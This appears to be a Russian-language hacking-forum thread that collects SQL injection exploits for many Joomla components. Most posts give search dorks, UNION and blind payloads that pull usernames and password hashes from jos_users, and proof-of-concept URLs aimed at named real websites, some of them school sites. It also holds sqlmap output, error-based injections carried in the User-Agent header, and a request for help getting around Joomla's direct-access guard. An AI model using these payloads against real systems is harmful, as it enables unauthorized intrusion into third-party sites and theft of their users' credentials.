Joomla com_jomdirectory SQL-inj Vuln: # Date: 21.01.2012 # Author: Mach1ne Usage: http://localhost/[PATH/index.php?option=com_jomdirectory&task=search&type= уязвимый параметр (число) http://localhost/[PATH]/index.php?option=com_jomdirectory&task=search&type=111+[SQLi] http://localhost/[PATH]/index.php?option=com_jomdirectory&task=search&type=111+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12-- =) 1337day
Joomla "com_sport" component Blind SQL Injection Уязвим параметр id_champ, что позволяет провести SQL-injection. Dork: Code: inurl:"?option=com_sport" Эксплyатация: Code: http://site.ltd/index.php?option=com_sport&task=user&id_user=161&Itemid=46&id_champ=3+and+substring(version(),1,1)=5--+f PoC: Code: http://sport.sozvesdie.ru/index.php?option=com_sport&task=user&id_user=161&Itemid=46&id_champ=3+and+substring(version(),1,1)=4--+f FALSE http://sport.sozvesdie.ru/index.php?option=com_sport&task=user&id_user=161&Itemid=46&id_champ=3+and+substring(version(),1,1)=5--+f TRUE © Ereee
Joomla com_personal Multiple SQL-inj Vuln # Date: 18.02.2012 # Author: Mach1ne Множественные уязвимые параметры: http://localhost/[PATH/index.php?option=com_personal&view=detalle&trbId=[SQL] http://localhost/[PATH]/index.php?option=com_personal&view=personal&grupo_id=[SQL] http://localhost/[PATH]/index.php?option=com_personal&id=[SQL] PoC: http://www.ceit.es/index.php?option=com_personal&view=detalle&trbId=-2828+UNION+ALL+SELECT+NULL,VERSION(),NULL,NULL,NULL,NULL,NULL--&catId=91&prsId=1&Itemid=25&lang=en http://www.ciberes.org/index.php?option=com_personal&view=personal&grupo_id=4+union+all+select+1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11+from+ciber_users--+&Itemid=77 http://www.cerpamid.co.cu/index.php?option=com_personal&id=65+AND+(SELECT+6586+FROM(SELECT+COUNT(*),CONCAT(user(),(version()),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP%20BY+x)a)&actived=1&active=1&lang=en
Joomla "com_play" component SQL Injection(два разных компонента, дорк один ) Dork: Code: inurl:"?option=com_play" 1) Уязвим параметр vid, что позволяет провести SQL-injection. Эксплyатация: Code: http://site.ltd/index.php?option=com_play&Itemid=85&vid=-3+union+select+1,2,3,version(),user(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--+f Уязвимый код в play.php: PHP: ... if (isset($_GET['vid'])) $video_id = $_GET['vid']; else $video_id = false; ... $query = "SELECT * FROM #__hwdvidsvideos WHERE id ={$video_id} and published = 1"; PoC: Code: http://www.walthamstowstadium.co.uk/index.php?option=com_play&Itemid=57&vid=-3+union+select+1,2,3,version(),user(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--+f -- 2) Уязвим параметр playid, что позволяет провести SQL-injection. Эксплyатация: Code: http://site.ltd/index.php?option=com_play&view=play&playid=-19+union+select+1,version(),3,4,user(),6,7,8,9,10,11,12,13,14,15--+f PoC: Code: http://www.detnorsketeatret.no/index.php?option=com_play&view=play&playid=-19+union+select+1,version(),3,4,user(),6,7,8,9,10,11,12,13,14,15--+f © Ereee
Joomla com_etree Blind SQL-inj Vuln # Date: 20.02.2012 # Author: Mach1ne Уязвимый параметр: http://localhost/[PATH]/index.php?option=com_etree&view=displays&layout=user&user_id=[SQL] http://localhost/[PATH]/index.php?option=com_etree&view=displays&layout=category&id=[SQL] PoC: http://gradientshift.com/harrisonCounty/index.php?option=com_etree&view=displays&layout=category&id=6'+and+2=2 http://www.roberts.k12.mt.us/site/index.php?option=com_etree&view=displays&layout=category&id=7'+and+2=2 http://www.canyoncreekschool.org/?option=com_etree&view=displays&layout=user&user_id=5'+and+2=2 GET parameter 'user_id' is vulnerable. --- Place: GET Parameter: user_id Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: option=com_etree&view=displays&layout=user&user_id=5' AND 425=425 AND 'PbgE'='PbgE Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: option=com_etree&view=displays&layout=user&user_id=5' AND SLEEP(5) AND 'bLot'='bLot ---
Joomla "com_datsogallery" component db prefix discolure Dork: Code: inurl:"?option=com_datsogallery" Exploit: Code: 1. Находим любой сайт через дорк. 2. Заходим по ссылке два раза: http://site.ru/components/com_datsogallery/sub_votepic.php?func=vote&user_rating=5&id=1 3. Видим: DB function failed with error number 1062 Duplicate entry 'bla-bla' for key 1 SQL=INSERT INTO [B][COLOR=Red]jos[/COLOR][/B]_datsogallery_votes ( vpic, vip ) VALUES ('bla-bla') PoC: Code: http://www.sociotypes.ru/components/com_datsogallery/sub_votepic.php?func=vote&user_rating=5&id=1 http://www.lxphoto.ru/components/com_datsogallery/sub_votepic.php?func=vote&user_rating=5&id=1 http://www.chexov.info/components/com_datsogallery/sub_votepic.php?func=vote&user_rating=5&id=1 и т.д. Исправление: Code: Нужно сделать нумерацию. Обратитесь к разработчику(любому кодеру). P.S. Просьба не стучать в ПМ с вопросами "Как юзать баг?", "Как залить шелл через эту уязвимость?". P.S.S. 0day © Ereee
Я думаю лучше юзать скуль в данном случае. Code: GET http://[COLOR=White]www.sociotypes.ru[/COLOR]/components/com_datsogallery/sub_votepic.php?func=vote&user_rating=5&id=1 [COLOR=Wheat]User-Agent[/COLOR]: Mozilla[COLOR=LemonChiffon]' and (select 1 from(select count(*),concat(version(),0x00,floor(rand(0)*2))x from jos_users group by x)a)or'[/COLOR] Duplicate entry '[COLOR=PaleGreen]5.0.26-log[/COLOR]' for key 1 Code: GET http://[COLOR=White]www.lxphoto.ru[/COLOR]/components/com_datsogallery/sub_votepic.php?func=vote&user_rating=5&id=1 [COLOR=Wheat]User-Agent[/COLOR]: Mozilla[COLOR=LemonChiffon]' and (select 1 from(select count(*),concat(version(),0x00,floor(rand(0)*2))x from jos_users group by x)a)or'[/COLOR] Duplicate entry '[COLOR=PaleGreen]5.5.18-cll[/COLOR]' for key 'group_key' Code: GET http://[COLOR=White]www.chexov.info[/COLOR]/components/com_datsogallery/sub_votepic.php?func=vote&user_rating=5&id=1 [COLOR=Wheat]User-Agent[/COLOR]: Mozilla[COLOR=LemonChiffon]' and (select 1 from(select count(*),concat(version(),0x00,floor(rand(0)*2))x from jos_users group by x)a)or'[/COLOR] Duplicate entry '[COLOR=PaleGreen]5.0.90-log[/COLOR]' for key 1
Joomla "com_file" component SQL Injection Уязвим параметр year, что позволяет провести SQL-injection. Эксплyатация: Code: http://site.ltd/index.php?option=com_file&action=list_files&year=-2011'+union(select+1,concat_ws(0x3a,username,password,usertype),3,4,5,6+from+jos_users+limit+0,1)--+g PoC: Code: http://www.crandalltexas.com/?option=com_file&action=list_files&year=-2011'+union(select+1,concat_ws(0x3a,username,password,usertype),3,4,5,6+from+jos_users+limit+0,1)--+g P.S. Скоро будут коды, как хэш сбрутят.
Joomla "com_rokmodule" component SQL Injection Уязвим параметр moduleid, что позволяет провести SQL-injection. Эксплyатация: Code: index.php?option=com_rokmodule&tmpl=component&type=raw&moduleid=[SQLblind] PoC: Code: http://sdf.com.ua/index.php?option=com_rokmodule&tmpl=component&type=raw&moduleid=[B]20+and+1=1[/B]&offset=_OFFSET_ true Code: http://sdf.com.ua/index.php?option=com_rokmodule&tmpl=component&type=raw&moduleid=[B]20+and+1=1[/B]&offset=_OFFSET_ false Уязвимый код: components/com_rokmodule/rokmodule.php PHP: if (isset($module_name)) { $query = "SELECT DISTINCT * from #__modules where title='".$module_name."'"; } else { $query = "SELECT DISTINCT * from #__modules where id=".$module_id; }
Joomla "com_realty" component SQL Injection Уязвим параметр id, что позволяет провести SQL-injection. Эксплyатация: Code: http://site.ltd/?option=com_realty&Itemid=60&task=show_offer&id=-174+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,version(),17,18,19,20,21,22,23,24,25,26,27,concat_ws(0x3a,username,password,usertype,0x4861636b6564206279204572656565),29,30,31,32,33+from+jos_users+limit+0,1--+d PoC: Code: http://expert-dubna.ru/?option=com_realty&Itemid=60&task=show_offer&id=-174+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,version(),17,18,19,20,21,22,23,24,25,26,27,concat_ws(0x3a,username,password,usertype,0x4861636b6564206279204572656565),29,30,31,32,33+from+jos_users+limit+0,1--+d
Плохое исправление, в если пофиксить сайт таким образом, sql inj не будет, но останется возможность sixss и вывод ошибки также не исчезнет SIXSS PoC Для корректного исправления нужно добавить в предлагаемый код что-то вроде strip_tags, и error_reporting чтобы ошибки не выдавать: Code: [COLOR=YellowGreen]error_reporting(0);[/COLOR] $browser = [COLOR=YellowGreen]strip_tags[/COLOR]($_SERVER['HTTP_USER_AGENT']); $browser_tmp = ' '.strtoupper($browser); if ((strpos($browser_tmp, 'SELECT')) or (strpos($browser_tmp, 'DELETE')) or (strpos($browser_tmp, 'UPDATE')) or (strpos($browser_tmp, 'INSERT')) or (strpos($browser_tmp, ' FROM ')) or (strpos($browser_tmp, ' INTO ')) or (strpos($browser_tmp, 'VALUES')) ) { die('SQL-injection rejected.'); } Или На некоторых сайтах один из вариантов не работает
Joomla "com_realty" SQL-inj Уязвимый параметр: Code: http://site.com/index.php?option=com_realty&act=detailed&[COLOR=Red][COLOR=DarkOrange]ln[/COLOR][/COLOR]=[SQL-inj] Эксплуатация: Code: http://site.com/index.php?option=com_realty&act=detailed&ln=-99999'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290--+ Замечание: 290 колонок. Простой скрипт, который подставит все колонки в url: PHP: <?php for ($i = 1; $i <= 290; $i++) { $n .= $i.","; } echo "http://site.com/index.php?option=com_realty&act=detailed&ln=-99999'+union+select+".preg_replace("~,$~", "", $n)."--+"; PoC: Code: http://akhomes.com/index.php?option=com_realty&act=detailed&ln=20'+union+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290+from+jos_users--+
Joomla "com_ponygallery" component SQL Injection Захожу на сайт _http://www.exploit-db.com и вижу в поиске последнеи сплоиты на джумлу сам сплоит не выложен но сказано что найдена уязвимость в древнем компаненте com_ponygallery _http://www.exploit-db.com/exploits/18741/ ищу по дорку в гугле "inurl:com_ponygallery" нахожу уязвимый сайт и раскручиваю два уязвимых параметра... один как sqli: Второй как Blind: h Просматриваю код компанента на залитом шеле и нахожу уязвимый пораметре файла sub_viewdetails.php: а чтоб защитить компанент от уязвимости достаточно было добавить функцию "intval()" anti-boyan по antichat'у в гуглу: "site:forum.antichat.ru com_ponygallery"
Code: ============================================ Joomla! (Multiple) ExploiT ============================================ # Powered Joomla! 1.5 & All version Down (Multiple) # Author: Mr.MLL # Published: 2010-08-24 # Verified: yes # Download Exploit Code # Download N/A === # Software : http://www.joomla.org/download.html # Vendor : http://www.joomla.org/ # Contact : [email protected] === <?php } if ( $return && !( strpos( $return, 'com_registration' ) || strpos( $return, 'com_login' ) ) ) { // checks for the presence of a return url // and ensures that this url is not the registration or login pages // If a sessioncookie exists, redirect to the given page. Otherwise, take an extra round for a cookiecheck if (isset( $_COOKIE[mosMainFrame::sessionCookieName()] )) { mosRedirect( $return ); } else { mosRedirect( $mosConfig_live_site .'/index.php?option=cookiecheck&return=' . urlencode( $return ) ); } } else { // If a sessioncookie exists, redirect to the start page. Otherwise, take an extra round for a cookiecheck if (isset( $_COOKIE[mosMainFrame::sessionCookieName()] )) { mosRedirect( $mosConfig_live_site .'/index.php' ); } else { mosRedirect( $mosConfig_live_site .'/index.php?option=cookiecheck&return=' . urlencode( $mosConfig_live_site .'/index.php' ) ); } } } else if ($option == 'logout') { $mainframe->logout(); // JS Popup message if ( $message ) { ?> ========= # ExploiT http://127.0.0.1/path/index.php?option=cookiecheck&return=http://Google.com/ ========= # Thanks : milw0rm.com & exploit-db.com & offsec.com & inj3ct0r.com & www.hack0wn.com exit ,, / Praise be to God for the blessing of Islam какой толк от этой уязвимости?
кто сталкивался с джумловской защитой от прямого доступа к файлам? там в index.php определяется переменная JEXEC = '1', а во всех остальных файлах идет проверка: PHP: defined('_JEXEC') or die('Restricted access'); // no direct access и соответственно при попытке изменить хоть на байт любой файл, код просто не прогружается.. все перекопал, но так и не понял что к чему.. есть у кого мысли как это обойти? нужно сделать инклюд пхп файла в один файл шаблона, но эта самая защита не дает..
Joomla "com_sobi2" component SQL Injection Уязвим параметр fid при установленом параметре sobi2Task=dd_download, что позволяет провести SQL-injection. id - должен быть существующий. Эксплyатация: Code: index2.php?option=com_sobi2&sobi2Task=dd_download&fid=[id][SQLblind] PoC: Code: http://open-psa.org/joomla1.5/index2.php?option=com_sobi2&sobi2Task=dd_download&fid=3+and+1=1+--+ true Code: http://open-psa.org/joomla1.5/index2.php?option=com_sobi2&sobi2Task=dd_download&fid=3+and+1=0+--+ false Дорк: "inurl:com_sobi2 fid" Уязвимый код: com_sobi2/plugins/download/download.class.php Perl Exploit : За основу был взят сплоит от сюда http://forum.antichat.ru/showpost.php?p=755600&postcount=90 и переделан под данную уязвимость
Joomla "com_ownbiblio" component SQL Injection Уязвим параметр catid Эксплyатация: Code: index.php?option=com_ownbiblio&catid=-1+union+select+1,2,3,concat(username,0x3a,password,0x3a,usertype),5,6,7,8,9,0,11,12,13,14,15,16,17+from+jos_users+--+ количество калонок может меняться! POC: Дорк: "inurl:com_ownbiblio catid" Уязвимый код: сomponents/com_ownbiblio/models/ownbiblio.php P.S:Уязвимость старая и давно есть в паблике, как сегодня убедился до сих пор актуальна. http://www.exploit-db.com/exploits/6730/ (2008-10-11)